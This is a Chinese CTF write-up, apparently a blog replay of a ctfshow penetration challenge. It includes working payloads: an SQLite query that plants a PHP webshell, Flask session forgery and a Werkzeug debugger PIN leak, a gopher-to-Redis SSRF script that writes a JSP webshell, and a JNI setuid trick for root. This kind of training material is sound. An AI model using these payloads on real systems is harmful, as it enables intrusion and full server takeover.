ctfshow渗透赛复现

ctfshow渗透赛复现

前置:

我那时候只做到了第二章,第三章往后的都没做出来,主要是复现3到5章的内容,前两章的大概思路就是通过爆破,可以得到压缩包的密码,然后解一下RSA可以得到网址,账号密码的话,xxx.gxv 那个网站存在一个任意文件下载,通过wpscan api扫出来的 可以下载config.php得到初始的账号密码,然后登录进去,对jwt进行一个爆破,得到密钥,伪造身份,然后就是扫靶机的后台,有一个json文件,里面存在一些可以利用的API 可以进行文件读取 然后就是利用那个ssrf探测内网,到这一步后面就卡着了。

复现

第三章:

登录进去之后查找有用的信息

image-20250115225423182

这个地方有一个内网的ip,但是这个ip并不是php服务器所在的那个ip.

经过爆破,可以得到在172.2.205.5 这个ip地址上有一个 php的服务。

image-20250110185958669

image-20250110190557782

image-20250110190054453

这里当初没想到直接执行sql语句 写入一句话木马。

1
?dsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create table "bbb" (name TEXT DEFAULT "<?php file_put_contents('2.php','<?php eval($_GET[1]);?>');?>");

上面的是先访问shell.php 让后面的file_put_contents生效 然后访问1.php才能进行命令执行。

还有其他的写法 功能都差不多

1
2
CREATE TABLE eeee (id INTEGER PRIMARY KEY, php_code TEXT); 
INSERT INTO eeee (php_code) VALUES ("<?php file_put_contents('6.php', '<?php eval($_GET[2]);?>');?>");

image-20250110202248538

然后那个邮箱的数字,查看根目录下的secret.txt文件 里面是两次base64编码,解码就行

image-20250110203534262

登录进去之后 在红色邮件中可以找到数字

image-20250110203706770

第四章

第四章是一个python服务,在第二章中能读取到main.py.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join

app = Flask(__name__)

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'


@app.route('/', methods=['GET'])
def index():
session['user'] = 'guest'
return {'message': 'log server is running'}


def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True


@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}


@app.route('/set_log_option')
def set_log_option():
if not check_session():
return {"message": "not authorized"}

logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/' + logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/' + logFile)
return {'message': 'log option set successfully'}


@app.route('/get_log_content')
def get_log_content():
if not check_session():
return {"message": "not authorized"}

logFile = request.args.get('logFile')
path = join('log', basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}


def clear_log_file(file_path):
with open(file_path, 'w'):
pass


if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)

开启的是8888端口 然后ip地址是172.2.205.6

image-20250110204629640

image-20250110205836354

现在是guest身份 需要到admin身份才能打开log_server_key.txt文件

image-20250110210000121

利用flask session伪造 伪造admin身份。

image-20250110211050245

image-20250110211520471

1
eyJ1c2VyIjoiYWRtaW4ifQ.Z4Ecow.PdkcCtX-ixKbK_jbiuEQ-i7yoQQ

这个不知道为啥不能直接抓包 然后加一个session

image-20250110212711902

但也能做,利用之前得到的shell, curl一下即可 带上session的话 就加一个 -b

image-20250110212814663

下一步的话 需要获取etc/passwd 那么就要找是否存在任意文件读取,或者是命令执行 之前的任意文件读取禁止了/ ../ 所以读取不了/etc/passwd 那么就看一下哪里能进行rce.

image-20250110220535417

根据返回的信息来看,猜测是获取pin码

image-20250110220844849

果然是,但问题来了,如何获取它,之前做题都是通过文件读取来获取信息,最后通过脚本来生成的,现在没有文件读取的地方,思路卡着了。。。

后面看了writeup 发现是通过设置日志文件来进行输出pin码 具体的原因可以通过分析源码得到。

image-20250110223008223

pin码通过日志输出出来

image-20250110223102638

让cmd等于printpin 并且这个secret我们是知道的 就调用self.log_pin_request() 将调用的结果返回给response

下面是获取pin码的思路:

1
2
3
4
5
6
设置日志
/set_log_option?logName=werkzeug&logFile=2.txt
将pin码输出到日志文件中
/console?__debugger__=yes&cmd=printpin&s=CUhyStmf03Rce4NLdL8y //这里直接base64编码了
查看pin码
/get_log_content?logFile=2.txt

这里直接bae64编码了

image-20250110232202168

image-20250110232033009

这里得到了pin码 123-330-612

下一步就是命令执行了

image-20250110233459198

要进行命令执行,就需要经过上面的验证才行,命令参数cmd存在,frame存在,有secret 并且通过了pin码验证 最终才进行命令执行 所以下一步要进行pin码验证。

验证cmd参数就应该是pinauth了。

1
/console?__debugger__=yes&cmd=pinauth&pin=635-303-500&s=zZImlIWMg8TT8FOMl4zE

image-20250110235205196

将得到的cookie保存到一个文件中

cookie -c xxx.txt -v -b

image-20250110235353384

image-20250110235434135

image-20250111000050847cmd这个地方进行命令执行

它是一个无回显的,我们将它写入到./log/1.txt下面 然后再读取即可。

对于一些符号 需要二次编码绕过 比如 &和空格等(如果不base64编码的情况下 可以利用 curl “http://xxxxx/" –cookie “xxxx” -i )

image-20250113202330997

第五章

这个是一个java的框架

image-20250111002140467

这个jerry存在一个 WEb-INF 敏感信息泄露

https://xz.aliyun.com/t/10039?time__1311=Cqjx2DRii%3DqGqGNDQiuDQqOQQIc4Y5vYqx

image-20250111002429891

可以得到redis密码

下面考察的是一个SSRF的gopher写入webshell

先利用dict进行探测一下:

image-20250113212237039

参考博客:https://www.keepnight.com/archives/1177/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from urllib.parse import quote
protocol="gopher://" # 使用的协议
ip="172.2.139.7"
port="6380" # 目标redis的端口号
shell="\n\n<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>\n\n"
filename="1.jsp" # shell的名字
path="/opt/jetty/webapps/ROOT/" # 写入的路径
passwd="ctfshow_2025" # 如果有密码 则填入
# 我们的恶意命令
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += quote(redis_format(x))
print(payload)

但是还是有点问题 我经过两次url编码过后发送的数据报500 可能是我的格式有点问题 后面就看了一下官方wp 参考连接:

https://ysynrh77rj.feishu.cn/docx/F3nJdGJHjo1DSBx8c2TcecLrnvh

image-20250115200008358

利用这种方式,就能成功的写马。

由于它是一个无回显的,我们可以将结果输出到/opt/jetty/webapps/ROOT/下

image-20250115200408791

最后就是提权了。

suid的话没啥东西 然后Capabilities 能找到一个提权利用

image-20250115210215750

下面是我理解的大体思路 首先执行setuid的是一个root用户 我们先写一个调用setuid的c文件 然后将其编译为so文件 写一个java代码执行系统命令 让其包含我们编译的so文件 这样当java执行命令时,就会以root身份运行。

第一步,写一个调用setuid的c文件。

1
2
3
4
5
6
#include <jni.h>
#include <unistd.h>

JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
return setuid(uid);
}

上传上去,利用base64编码

1
echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c

然后编写java文件 也上传上去。

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SetUID {
static {
System.loadLibrary("SetUID");
}

public native int setUID(int uid);

public static void main(String[] args) throws Exception {
SetUID setUID = new SetUID();
int result = setUID.setUID(0);
Runtime.getRuntime.exec(new String[]{"sh","-c","cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
}
}
1
echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java

然后编译c文件

1
gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c

编译java文件

1
javac%20/opt/jetty/webapps/ROOT/SetUID.java

然后加载编译好的c文件 使得以root身份运行系统命令

1
java%20-Djava.library.path=/opt/jetty/webapps/ROOT/%20-cp%20/opt/jetty/webapps/ROOT/%20SetUID

image-20250115222511657


ctfshow渗透赛复现
http://example.com/2025/01/10/ctfshow_元旦渗透赛/
作者
FSRM
发布于
2025年1月10日
更新于
2025年1月15日
许可协议